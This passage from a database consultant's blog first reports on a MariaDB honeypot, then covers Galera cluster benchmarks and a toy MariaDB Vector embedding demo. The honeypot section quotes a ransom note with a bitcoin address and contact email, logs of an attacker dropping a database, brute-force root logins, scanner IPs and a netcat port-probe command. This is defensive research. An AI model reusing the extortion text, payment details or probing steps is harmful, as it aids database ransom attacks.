Binance: https://www.binance.com/
Crypto.com: https://www.crypto.com/
Huobi: https://www.huobi.com/
OKCoin: https://www.okcoin.com/
BTCC: https://www.btcc.com/
Paybis: https://paybis.com/
Coinmama: https://coinmama.com/
Bitfinex: https://www.bitfinex.com/
For users in China, Bitcoin can be purchased with Alipay from:

CoinCola: https://www.coincola.com/?lang=zh-HK
BitValve: https://www.bitvalve.com/buy-bitcoin/alipay

And this text is written to the RECOVER_YOUR_DATA table:

SQL> SELECT * FROM RECOVER_YOUR_DATA;
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| text |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+
| All your data is backed up. You must pay 0.0101 BTC to bc1qm0v2r0mmx3py3h7fzkerd9a6rzdrpw5afqacen In 48 hours, your data will be publicly disclosed and deleted. (more information: go to https://is.gd/yotuqu) |
| After payment send mail to us: rambler+2r8qm@onionmail.org and we will provide a link for you to download your data. Your DBCODE is: 2R8QM |
+-----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------+

Then the test schema (where the RECOVER_YOUR_DATA table is contained?) is deleted.

 75 Connect root@196.251.83.136 on using TCP/IP
 75 Query SET AUTOCOMMIT=0
 75 Query DROP DATABASE `test`
 75 Query COMMIT
 75 Quit

And a new schema is created with the name RECOVER_YOUR_DATA:

 76 Connect root@196.251.83.136 on using TCP/IP
 76 Query SET AUTOCOMMIT=0
 76 Query CREATE DATABASE IF NOT EXISTS RECOVER_YOUR_DATA
 76 Quit

Somehow the access doesn’t seem logical to me and still has potential. Since the RECOVER_YOUR_DATA table is missing (deleted with schema test), you can no longer pay if you wanted to…

Maybe the developer did not expect a limited root account and therefore the tool behaves incorrectly? See also the three repetitions when dumping the tables.

Where does the access come from?

I don’t know how well you can disguise where you are coming from and how good the geo-resolution of the IP addresses is, I don’t know enough about that. A search revealed that the IP comes from Amsterdam (Netherlands).

After further research, it turned out that the IP belongs to an organisation called Internet Secuirty Ekabi (note misspelling as in the original!) with an address in the USA and a location in the Seychelles. If anyone can give me any more tips on what I can find out, I would be very grateful!

Where do the IP addresses come from?

In the short period under observation, we observed access from the following regions:

Alibaba Cloud, Singapore
Google Belgium, Brussels
Data-Center Imaqliq Ltd., Russia, St. Petersburg
Alibaba Cloud, Japan, Tokyo
FiberXpress BV, Netherlands, Amsterdam
M247 Europe SRL, United Kingdom, Manchester
Hetzner Online GmbH, Finland, Helsinki
Internet Secuirty Ekabi, Netherlands, Amsterdam (2 x)
Internet Security Cheapyhost, Netherlands, Amsterdam (9 x)
Internet Security Nybula, Netherlands, Amsterdam (2 x)

Access pattern

All access attempts are made WITHOUT SSL/TLS.

Fingerprint from the perspective of the MariaDB General Query Log:

9 x
Connect root@34.140.63.218 on using TCP/IP
Connect Access denied for user 'root'@'34.140.63.218' (using password: NO)

1 x
Connect root@45.135.95.25 on using TCP/IP
Connect Access denied for user 'root'@'45.135.95.25' (using password: NO)
Connect root@45.135.95.25 on using TCP/IP
Connect Access denied for user 'root'@'45.135.95.25' (using password: NO)

4 x
Connect root@196.251.118.8 on using TCP/IP
Connect Access denied for user 'root'@'196.251.118.8' (using password: NO)
Connect root@196.251.118.8 on using TCP/IP
Connect Access denied for user 'root'@'196.251.118.8' (using password: YES)
Connect root@196.251.118.8 on using TCP/IP
... mit 2 Wiederholungen

1 x
Connect root@94.102.49.155 on using TCP/IP
Connect Access denied for user 'root'@'94.102.49.155' (using password: NO)
Connect root@94.102.49.155 on using TCP/IP
Connect Access denied for user 'root'@'94.102.49.155' (using password: YES)
... mit 6 Wiederholungen

2 x
Connect root@196.251.91.19 on using TCP/IP
Connect Access denied for user 'root'@'196.251.91.19' (using password: NO)
Connect root@196.251.91.19 on using TCP/IP
Connect Access denied for user 'root'@'196.251.91.19' (using password: YES)
... mit 28 Wiederholungen

1 x
Connect root@157.180.29.231 on using TCP/IP
Connect Access denied for user 'root'@'157.180.29.231' (using password: NO)
Connect root@157.180.29.231 on using TCP/IP
Connect Access denied for user 'root'@'157.180.29.231' (using password: NO)
Connect root@157.180.29.231 on using TCP/IP
Connect Access denied for user 'root'@'157.180.29.231' (using password: YES)
Connect root@157.180.29.231 on using TCP/IP
Connect Access denied for user 'root'@'157.180.29.231' (using password: YES)
Mit jeweils zeitlichem Abstand

2 x
Connect root@196.251.86.26 on using TCP/IP
Connect Access denied for user 'root'@'196.251.86.26' (using password: NO)
Connect root@196.251.86.26 on using TCP/IP
Connect Access denied for user 'root'@'196.251.86.26' (using password: YES)
Connect root@196.251.86.26 on using TCP/IP
... mit 38 Wiederholungen

It is of course possible that some of these access attempts use the same tools and were simply cancelled after a different number of attempts and the tools thus generated a different pattern.

Access pattern from the perspective of the MariaDB error log

Possible accesses to the Galera Protocol

[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Unsupported/unrecognized gmcast protocol version: {
 at ./gcomm/src/gmcast_message.hpp:unserialize():331
 at ./gcomm/src/gmcast.cpp:handle_up():1494
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.

and:

[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.
[Warning] WSREP: Failed to unserialize message. This may be a result of corrupt message, port scanner or another application connecting to group communication port.

Whether this was an access attempt or whether we only had a problem in our network or Galera cluster still needs to be verified.

Problems with the name resolution

To get more and additional information the database was run WITHOUT skip_name_resolve. This leads to various warnings regarding name resolution (forwards and backwards).

[Warning] Hostname 'no-reverse-dns-configured.com' does not resolve to '94.102.49.155'.
[Warning] Host name 'scanner-28.ch1.censys-scanner.com' could not be resolved: Name or service not known
[Warning] IP address '34.140.170.97' has been resolved to the host name '97.170.140.34.bc.googleusercontent.com', which resembles IPv4-address itself.
[Warning] IP address '165.154.100.58' could not be resolved: Name or service not known
[Warning] IP address '104.193.135.104' could not be resolved: Temporary failure in name resolution

In addition, various scanner systems were noticed, some of which resolved correctly: security.ipip.net coop.net {ch1|hk2}.censys-scanner.com

Conclusion: slog_warnings = 9 is too high, activate skip_name_resolve.

Port probing

Simple port probing (tapping the ports) can be done as follows:

# netcat -z -n -v 10.116.63.139 3300-3310

In the MariaDB error log on the database page you will see the following:

[Warning] Could not read packet: fd: 56 state: 1 read_length: 4 errno: 110 vio_errno: 1159 length: 0
[Warning] Aborted connection 52 to db: 'unconnected' user: 'unauthenticated' host: '_gateway.incus' (This connection closed normally without authentication)

These port probes are not even displayed in the MariaDB general query log.

Different variants and patterns of port probing

We have noticed the following 3 patterns of port probing:

[Warning] Could not read packet: fd: 63 state: 1 read_length: 4 errno: 104 vio_errno: 1158 length: -1
[Warning] Aborted connection 76 to db: 'unconnected' user: 'unauthenticated' host: '45.142.193.153' (This connection closed normally without authentication)

198.235.24.140 115.231.78.10
[Warning] Could not read packet: fd: 63 state: 1 read_length: 4 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 50 to db: 'unconnected' user: 'unauthenticated' host: '20.65.194.133' (This connection closed normally without authentication)

[Warning] Could not write packet: fd: 64 state: 1 errno: 104 vio_errno: 1160 length: 42
[ERROR] mariadbd: Got an error writing communication packets
[Warning] Aborted connection 55 to db: 'unconnected' user: 'unauthenticated' host: 'connecting host' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 4 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 56 to db: 'unconnected' user: 'unauthenticated' host: '137.184.75.161' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 4 errno: 0 vio_errno: 1158 length: 0
[Warning] Aborted connection 57 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 87 state: 1 read_length: 4 errno: 0 vio_errno: 1158 length: 0
[Warning] Aborted connection 58 to db: 'unconnected' user: 'unauthenticated' host: '165.22.188.115' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 196974 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 59 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 196974 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 60 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 197053 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 61 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 197067 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 62 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 196986 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 63 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 131449 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 64 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 65900 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 65 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 65900 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 66 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 65910 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 67 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)
[Warning] Could not read packet: fd: 64 state: 1 read_length: 65887 errno: 11 vio_errno: 1158 length: 0
[Warning] Aborted connection 68 to db: 'unconnected' user: 'unauthenticated' host: '165.22.191.252' (This connection closed normally without authentication)

What exactly was tried in the third case is still beyond my knowledge.

And here is a breakdown of the error messages:

# perror 104
OS error code 104: Connection reset by peer

# perror 11
OS error code 11: Resource temporarily unavailable

# perror 1158
MariaDB error code 1158 (ER_NET_READ_ERROR): Got an error reading communication packets
Learn more: https://mariadb.com/kb/en/e1158/

# perror 1160
MariaDB error code 1160 (ER_NET_ERROR_ON_WRITE): Got an error writing communication packets
Learn more: https://mariadb.com/kb/en/e1160/

Out of order packets (4 x)

Another pattern we have seen is packets in the wrong order. Whether this is intentional or has to do with the network between the attacker and the database cannot be said at the moment (the IPs are said to originate from Italy, USA and 2 x Sweden).

Sources: 45.91.171.169 45.147.250.222 20.168.122.53 91.223.169.88

Example:

[ERROR] mariadbd: Got packets out of order
[Warning] Aborted connection 49 to db: 'unconnected' user: 'unauthenticated' host: '103.45.246.42' (This connection closed normally without authentication)

Incomplete connection setup (51 x)

Sources: 80.82.70.133 194.165.16.167 162.142.125.
* 205.210.31.
* 104.248.130.34 198.235.24.
* 209.38.99.93 171.36.7.2 34.77.151.17 118.193.33.60 147.185.132.118 88.214.25.121 188.166.68.252 118.193.43.158 206.189.5.176 165.22.187.120 45.142.193.153 196.251.90.186 134.209.221.50 89.185.82.115 104.248.229.49 35.205.56.72 198.235.24.28 43.248.108.8 167.71.184.54 154.212.141.215 89.248.174.130 154.212.141.212 34.140.35.166 167.94.146.
* 167.94.145.
* 103.149.26.234 137.184.64.140 170.64.154.53 165.22.188.115 185.47.172.136 199.45.154.148 147.185.132.108 20.171.28.254 103.203.57.18

and also from these networks (Internet monitoring and AWS):

Sources: {larry|sharon|susan}.probe.onyphe.net {poetic|glowing|principled
].monitoring.internet-measurement.com prod-{boron|barium}-{sfo2|us-central|us-east|nyc1|us-southeast}-{
d{2,3}}. {do|li}.binaryedge.ninja azpd{
w{5,8}}.stretchoid.com scan-{
d{2}
[a-z
]}.shadowserver.org pdcscan{2,3}.scanning.cybcube.com ec2-{
w
*}
[us-east-2
]?.compute
[-1
]?.amazonaws.com

Example:

[Warning] Aborted connection 325749 to db: 'unconnected' user: 'unauthenticated' host: '137.184.64.140' (This connection closed normally without authentication)
... 0, 1, 4, 5, 8, 9, 10 Wiederholungen

Access attempt using regular connect

Attempts WITHOUT password (40x)

Sources: 196.251.91.
* 196.251.114.
* 196.251.90.
* 196.251.115.18 196.251.115.26 196.251.83.97 196.251. 90.186 34.140.170.97 196.251.85.11 196.251.83.125

Example:

[Warning] Access denied for user 'root'@'196.251.91.69' (using password: NO)

Attempts WITHOUT and then WITH password (28 x)

Sources: 165.154.172.87 165.154.164.92 128.14.237.43 196.251.69.185 37.19.221.171 196.251.118.8 196.251.91.
* 196.251.118.47 45.129.56.161 146.70.132.164 196.251.86.26 196.251.83.136 38.240.225.39

Example:

[Warning] Access denied for user 'root'@'196.251.80.168' (using password: NO)
[Warning] Access denied for user 'root'@'196.251.80.168' (using password: YES)
... 1, 2, 3, 13, 27, 28, 37 Wiederholungen

More complex access attempts using port probing and regular connect (15 x)

Sources: 8.219.222.66 47.250.81.7 8.219.222.66 34.76.203.56 8.221.136.6 47.254.192.213 (6 x)

Example:

[Warning] Aborted connection 1134 to db: 'unconnected' user: 'unauthenticated' host: '47.254.192.213' (This connection closed normally without authentication)
[Warning] Access denied for user 'root'@'47.254.192.213' (using password: NO)

Source: 45.150.237.21 (1 x)

Example:

[Warning] Aborted connection 22965 to db: 'unconnected' user: 'unauthenticated' host: '45.150.237.21' (This connection closed normally without authentication)
... 9 Wiederholungen
[Warning] Access denied for user ''@'45.150.237.21' (using password: NO)

Sources: 101.36.122.183 152.32.150.7 152.32.245.170 118.193.58.125 165.154.48.24 107.150.117.219 116.90.238.220 165.154.100.58 (8 x)

Example:

[Warning] Aborted connection 2816 to db: 'unconnected' user: 'unauthenticated' host: '165.154.100.58' (This connection closed normally without authentication)
... 0, 1 Wiederholungen
[Warning] Access denied for user ''@'165.154.100.58' (using password: NO)
[Warning] Access denied for user 'root'@'165.154.100.58' (using password: YES)
... 0, 48 Widerholungen

More complex access attempts using regular connect and port probing (3 x)

Source: 104.193.135.104 (1 x)

Example:

[Warning] Access denied for user 'root'@'104.193.135.104' (using password: NO)
[Warning] Aborted connection 47 to db: 'unconnected' user: 'unauthenticated' host: '104.193.135.104' (This connection closed normally without authentication)

Source: 196.251.91.18 (1 x)

Example:

[Warning] Access denied for user 'root'@'196.251.91.18' (using password: NO)
[Warning] Access denied for user 'root'@'196.251.91.18' (using password: YES)
... 3 Wiederholungen
[Warning] Aborted connection 1013 to db: 'unconnected' user: 'unauthenticated' host: '196.251.91.18' (This connection closed normally without authentication)

Source: 94.102.49.155 (1 x)

Example:

[Warning] Access denied for user 'root'@'94.102.49.155' (using password: NO)
[Warning] Access denied for user 'root'@'94.102.49.155' (using password: YES)
... 1 Wiederholungen
[Warning] Aborted connection 1389 to db: 'unconnected' user: 'unauthenticated' host: '94.102.49.155' (This connection closed normally without authentication)
[Warning] Access denied for user 'root'@'94.102.49.155' (using password: YES)
... 3 Wiederholungen

These patterns rarely occurred in the observed period.

Conclusion

Paying a ransom for cybercrime is not worth it!

Outlook / Todoes

Further points that could be clarified, refined and optimised next time:

Find out which passwords are being tried. Maybe patch MariaDB? (sql_acl.cc)
Provide some more exciting data and see what exactly happens.
Record several different attacks (filtered for IP?). Possibly from different countries (USA, China, Russia, Ukraine, …)
You could also try running the honeypot with skip_grant_tables to enable access with a password?
log_warnings is set too verbose with 9. Maybe the default is enough?
Access with SSL only? See if someone already knows TLS.
Galera protocol? Was this really an attack or just a problem in the network/with the Galera cluster?
Play the same game with MySQL to see if there are other attack patterns.
Which other DB users are being attacked (CMS)?

How does Galera Cluster behave with many nodes?

oli.sennhauser@fromdual.com (Oli Sennhauser) — Fri, 24 Jan 2025 18:12:55 +0000

Recently I had the opportunity to have a lot of Linux systems (VMs with Rocky Linux 9) from one of our regular Galera Cluster trainings all to myself for a week. And MariaDB 11.4.4 with Galera Cluster was already installed on the machines.

Since I had long wanted to try out how a Galera Cluster behaves with an increasing number of nodes, now was the opportunity to try it out.

The following questions were to be answered:

How does the throughput of a Galera cluster behave depending on the number of Galera nodes?
Which configuration gives us the highest throughput?

A total of 5 different test parameters were experimented with:

Number of Galera nodes.
Number of client machines (= instances).
Number of threads per client (--threads=).
Number of Galera threads (wsrep_slave_threads).
Runtime of the tests. This parameter was varied because some tests were cancelled during the run. It may be possible to eliminate this parameter with a lower rate (--rate) in the load test. As it turned out, it did have an influence on the result or the measured throughput (e.g. test 4b and 5 or 18 and 19).

A total of 35 different tests were run. See raw data.

Throughput as a function of the number of Galera nodes

Throughput related to # nodes
Test	# gal nodes	# threads/client	runtime [s]	tps	runtime [s]
7	1	8	180	596.3	180
8	2	8	180	567.8	180
9	3	8	180	531.9	180
11	4	8	180	495.2	180
12	5	8	180	492.2	180
13	6	8	180	502.9	180
14	7	8	180	459.5	180
15	8	8	180	458.6	180
16	9	8	180	429.2	180

Throughput related to
# nodes

The throughput in the Galera cluster decreased slightly from 600 tps to 430 tps (28%) when the number of nodes was increased from 1 to 9.

Throughput as a function of the number of connections

The main variation here was with the number of clients and threads per client. The optimum seems to be 30 - 40 connections in this setup. Varying the number of Galera threads (wsrep_slave_threads) does not seem to have had much effect in our case. The system does not seem to be able to deliver much more than 1200 tps. In particular, the machines of the described Galera nodes did not have too much CPU idle time.

Total # connections vs. throughput
Test	# client nodes	# threads/client	# con tot	# gal threads	runtime [s]	tps
16	1	8	8	1	180	429.2
17	2	8	16	1	180	684.5
18	3	8	24	1	180	603.8
19	3	8	24	1	120	925.2
20	3	8	24	1	120	919.8
21	4	8	32	1	120	1081.1
22	5	8	40	1	120	1196.0
23	5	8	40	4	120	1132.2
23b	5	8	40	8	120	1106.0
24	5	16	80	4	120	1233.8
25	5	32	160	4	120	1095.7

Total
# connections vs. throughput

Throughput as a function of all possible parameters

By further varying the parameters, in particular by reducing the number of Galera nodes from 9 to 3, the throughput could be further increased from just under 1200 to just over 1400 tps.

Throughput related to various different parameters
Test	# gal nodes	# client nodes	# threads/client	# con tot	tps
23	9	5	8	40	1132.2
23b	9	5	8	40	1106.0
24	9	5	16	80	1233.8
25	9	5	32	160	1095.7
26	8	5	32	160	1132.4
27	7	5	32	160	1207.6
28	6	5	16	80	1333.3
29	5	5	8	40	1278.6
30	5	5	8	40	1281.5
31	4	5	8	40	1374.1
32	3	5	8	40	1304.3
33	3	6	8	48	1428.9

Throughput related to various different parameters

With the given hardware, there seems to be an optimum somewhere around 3 Galera nodes and approx. 40 connections. More detailed clarifications would be interesting here…

Statistical Design of Experiments (DoE)

Here it would be exciting to work with the method of statistical design of experiments to determine this optimum more precisely or to find it more quickly.

Mettler Toledo: DoE - Statistical Design of Experiments - A statistical approach to reaction optimisation.
Wikipedia.en: Statistical design of experiments..
Design of Experiments - DoE.
Novustat: Quality Engineering: Statistical Design of Experiments - Our ultimate overview!.

Hardware specification

VM’s from Hetzner: CX22 (2 vCPU, 4 Gibyte RAM (effective: 3.5 Gibyte (why that?)), 40 Gibyte disc)

Architecture: x86_64
 CPU op-mode(s): 32-bit, 64-bit
 Address sizes: 40 bits physical, 48 bits virtual
 Byte Order: Little Endian
CPU(s): 2
 On-line CPU(s) list: 0,1
Vendor ID: GenuineIntel
 BIOS Vendor ID: QEMU
 Model name: Intel Xeon Processor (Skylake, IBRS, no TSX)
 BIOS Model name: NotSpecified
 CPU family: 6
 Model: 85
 Thread(s) per core: 1
 Core(s) per socket: 2
 Socket(s): 1
 Stepping: 4
 BogoMIPS: 4589.21
 Flags: fpu vme de pse tsc msr pae mce cx8 apic sep mtrr pge mca cmov pat pse36 clflush mmx fxsr sse sse2 ht syscall nx pdpe1gb rdtscp lm constant_tsc rep_good nopl xtopology cpuid tsc_known_freq pni pclmulqdq ssse3 fma cx16 pcid sse4_1 sse4_2 x2a
 pic movbe popcnt tsc_deadline_timer aes xsave avx f16c rdrand hypervisor lahf_lm abm 3dnowprefetch cpuid_fault pti ssbd ibrs ibpb fsgsbase bmi1 avx2 smep bmi2 erms invpcid avx512f avx512dq rdseed adx smap clwb avx512cd avx512bw avx512vl xs
 aveopt xsavec xgetbv1 xsaves arat pku ospke md_clear
Virtualization features:
 Hypervisor vendor: KVM
 Virtualization type: full
Caches (sum of all):
 L1d: 64 KiB (2 instances)
 L1i: 64 KiB (2 instances)
 L2: 8 MiB (2 instances)
 L3: 16 MiB (1 instance)

Benchmark tool / load generator

sysbench was used as a load generator.

# dnf install epel-release
# dnf install sysbench

Each client runs on its own scheme to avoid Galera cluster conflicts. In reality, this is not always the case, but it is the optimal case for Galera.

SQL> CREATE DATABASE sbtest<n>;

Each client connects to a different Galera node (1 - 6 clients distributed on 1 - 9 Galera nodes).

GALERA_IP=<galera_ip>
DATABASE=sbtest<n>

# sysbench oltp_common --mysql-host=${GALERA_IP} --mysql-user=app --mysql-password=secret --mysql-db=${DATABASE} --db-driver=mysql prepare
# sysbench oltp_read_write --time=180 --db-driver=mysql --mysql-host=${GALERA_IP} --mysql-user=app --mysql-password=secret --mysql-db=${DATABASE} --threads=8 --rate=1000 --report-interval=1 run
# sysbench oltp_common --mysql-host=${GALERA_IP} --mysql-user=app --mysql-password=secret --mysql-db=${DATABASE} --db-driver=mysql cleanup

MariaDB and Galera configuration

[server]

binlog_format = row
innodb_autoinc_lock_mode = 2
innodb_flush_log_at_trx_commit = 2
query_cache_size = 0
query_cache_type = 0

wsrep_on = on
wsrep_provider = /usr/lib64/galera-4/libgalera_smm.so
wsrep_cluster_address = "gcomm://10.0.0.2,10.0.0.3,10.0.0.4,10.0.0.5,10.0.0.6,10.0.0.7,10.0.0.8,10.0.0.9,10.0.0.10,10.0.0.11,10.0.0.12,10.0.0.13,10.0.0.14,10.0.0.15,10.0.0.16,10.0.0.17"
wsrep_cluster_name = 'Galera Cluster'
wsrep_node_address = 10.0.0.2
wsrep_sst_method = rsync
wsrep_sst_auth = sst:secret

Raw data

Raw data
Processed data

Model v2 slightly improves results

oli.sennhauser@fromdual.com (Oli Sennhauser) — Wed, 28 Aug 2024 15:55:43 +0200

We have improved our model (see v2) so the results are a bit better/more accurate now.

For usage see ./fromdual_llm_v2.php --help

Playing with MariaDB Vector for initial AI tests

oli.sennhauser@fromdual.com (Oli Sennhauser) — Wed, 28 Aug 2024 10:51:23 +0000

Artificial intelligence (AI) and vector databases are on everyone’s lips these days. Since MariaDB will soon be coming onto the market with vector database functionality, as a database consultant I thought it was about time I got to grips with the subject so that I have at least a hint of what it’s all about…

Since I’m not so much of a theoretician but rather like to do something practical, I’ve built a small “AI” prototype that anyone can build very quickly and easily on their laptop (without a GPU)…

I also took the liberty of stealing the graphs from the MariaDB Foundation presentation (see sources at the end).

Downloading the MariaDB database with vector functionality

There are no MariaDB packages with vector functionality yet, but the source code is already available. So you can quickly build the binaries yourself. This took just under an hour on my old box. Once the binaries are built, you can make a tarball out of them:

# tar xf mariadb-11.6.0_vector.tar.gz
# cd mariadb-11.6.0_vector/
# cmake .
# make
# make package

The MariaDB database then only needs to be started.

The model

To show the concept of tokenisation I decided to build an AI for URLs and to show the concept of different models and their potential for improvement I built a very stupid model in PHP, which simply decomposes a URL.

The question that this model should be able to answer is: “Give me similar URLs to the following URL.”

The corresponding table looks like this:

DROP TABLE IF EXISTS `urls`;
-- TRUNCATE TABLE is NOT sufficient!!!
CREATE TABLE `urls` (
 `id` INT UNSIGNED NOT NULL AUTO_INCREMENT PRIMARY KEY
, `url` varchar(1024) DEFAULT NULL
, `title` varchar(2000) DEFAULT NULL
, `embedding` blob NOT NULL
, VECTOR KEY `embedding` (`embedding`)
) ENGINE=InnoDB DEFAULT CHARSET=latin1
;

The model fromdual_llm_v1 can be downloaded here.

This diagram from the MariaDB Foundation shows roughly how the whole thing works:

Training the AI

The database is then trained: The URL is taken as given and the title can be read out using an HTML scraper, for example. Here are 8 training datasets:

The vectors are then generated using our model:

(./fromdual_llm_v1.php https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source
./fromdual_llm_v1.php https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/
./fromdual_llm_v1.php https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf
./fromdual_llm_v1.php https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/
./fromdual_llm_v1.php https://mariadb.org/projects/mariadb-vector/
./fromdual_llm_v1.php https://metacpan.org/pod/Perl::Tokenizer
./fromdual_llm_v1.php https://www.qwak.com/post/utilizing-llms-with-embedding-stores
./fromdual_llm_v1.php https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma) | grep '^<br>['
[0.2, 0.0107421875, 0, 0, 0, 0.0006103515625, 0.00054931640625, 0]
[0.2, 0.0107421875, 0, 0, 0, 0.00262451171875, 0, 0]
[0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0]
[0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0]
[0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0]
[0.2, 0.01171875, 0, 0, 0, 0.001220703125, 0, 0]
[0.2, 0.01171875, 0, 0, 0, 0.0025634765625, 0, 0]
[0.2, 0.009765625, 0, 0, 0, 0.00323486328125, 0, 0]

The database is now fed (trained) with these vectors:

INSERT INTO `urls` (id, url, title, embedding) VALUES (
 NULL
, 'https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source'
, 'Download MariaDB Server'
, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00262451171875, 0, 0]')
);

INSERT INTO `urls` (id, url, title, embedding) VALUES (
 NULL
, 'https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/'
, 'Creating the MariaDB Binary Tarball'
, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0006103515625, 0.00054931640625, 0]')
);

INSERT INTO `urls` (id, url, title, embedding) VALUES (
 NULL
, 'https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf'
, 'MariaDB Vector'
, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0]')
);

INSERT INTO `urls` (id, url, title, embedding) VALUES (
 NULL
, 'https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/'
, 'MariaDB Vector preview is out'
, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.0028076171875, 0, 0]')
);

INSERT INTO `urls` (id, url, title, embedding) VALUES (
 NULL
, 'https://mariadb.org/projects/mariadb-vector/'
, 'MariaDB Vector'
, VEC_FromText('[0.2, 0.0107421875, 0, 0, 0, 0.00152587890625, 0, 0]')
);

INSERT INTO `urls` (id, url, title, embedding) VALUES (
 NULL
, 'https://metacpan.org/pod/Perl::Tokenizer'
, 'Perl::Tokenizer - A tiny Perl code tokenizer'
, VEC_FromText('[0.2, 0.01171875, 0, 0, 0, 0.001220703125, 0, 0]')
);

INSERT INTO `urls` (id, url, title, embedding) VALUES (
 NULL
, 'https://www.qwak.com/post/utilizing-llms-with-embedding-stores'
, 'Integrating Vector Databases with LLMs: A Hands-On Guide'
, VEC_FromText('[0.2, 0.01171875, 0, 0, 0, 0.0025634765625, 0, 0]')
);

INSERT INTO `urls` (id, url, title, embedding) VALUES (
 NULL
, 'https://github.com/qwak-ai/qwak-examples/tree/main/qa_bot_falcon_chroma'
, 'LLM Model Enhanced with Vector DB'
, VEC_FromText('[0.2, 0.009765625, 0, 0, 0, 0.00323486328125, 0, 0]')
);

Here is an overview of what is now in the database:

SELECT id, url, title, VEC_ToText(embedding)
 FROM urls
;
+----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+
| id | url | title | VEC_ToText(embedding) |
+----+-----------------------------------------------------------------------------+----------------------------------------------------------+---------------------------------------------------------------------------+
| 1 | https://mariadb.org/download/?t=mariadb&p=mariadb&r=11.6.0+Vector&os=source | Download MariaDB Server | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002625,0.000000,0.000000] |
| 2 | https://mariadb.com/kb/en/creating-the-mariadb-binary-tarball/ | Creating the MariaDB Binary Tarball | [0.200000,0.010742,0.000000,0.000000,0.000000,0.000610,0.000549,0.000000] |
| 3 | https://mariadb.org/wp-content/uploads/2024/02/MariaDB-Vector.pdf | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] |
| 4 | https://mariadb.com/resources/blog/mariadb-vector-preview-is-out/ | MariaDB Vector preview is out | [0.200000,0.010742,0.000000,0.000000,0.000000,0.002808,0.000000,0.000000] |
| 5 | https://mariadb.org/projects/mariadb-vector/ | MariaDB Vector | [0.200000,0.010742,0.000000,0.000000,0.000000,0.001526,0.000000,0.000000] |
| 6 | https://metacpan.org/pod/Perl::Tokenizer | Perl::Tokenizer - A tiny Perl code tokenizer | [0.200000,0.011719,0.000000,0.000000,0.000000,0.001221,0.000000,0.000000] |
| 7 | https://www.qwak.com/post/utilizing-llms-with-embedding-stores | Integrating Vector Databases with LLMs: A Hands-On Guide | [0.200000,0.011719,0.000000,0.000000,0.000000,0.002563,0.000000,0.000000] |
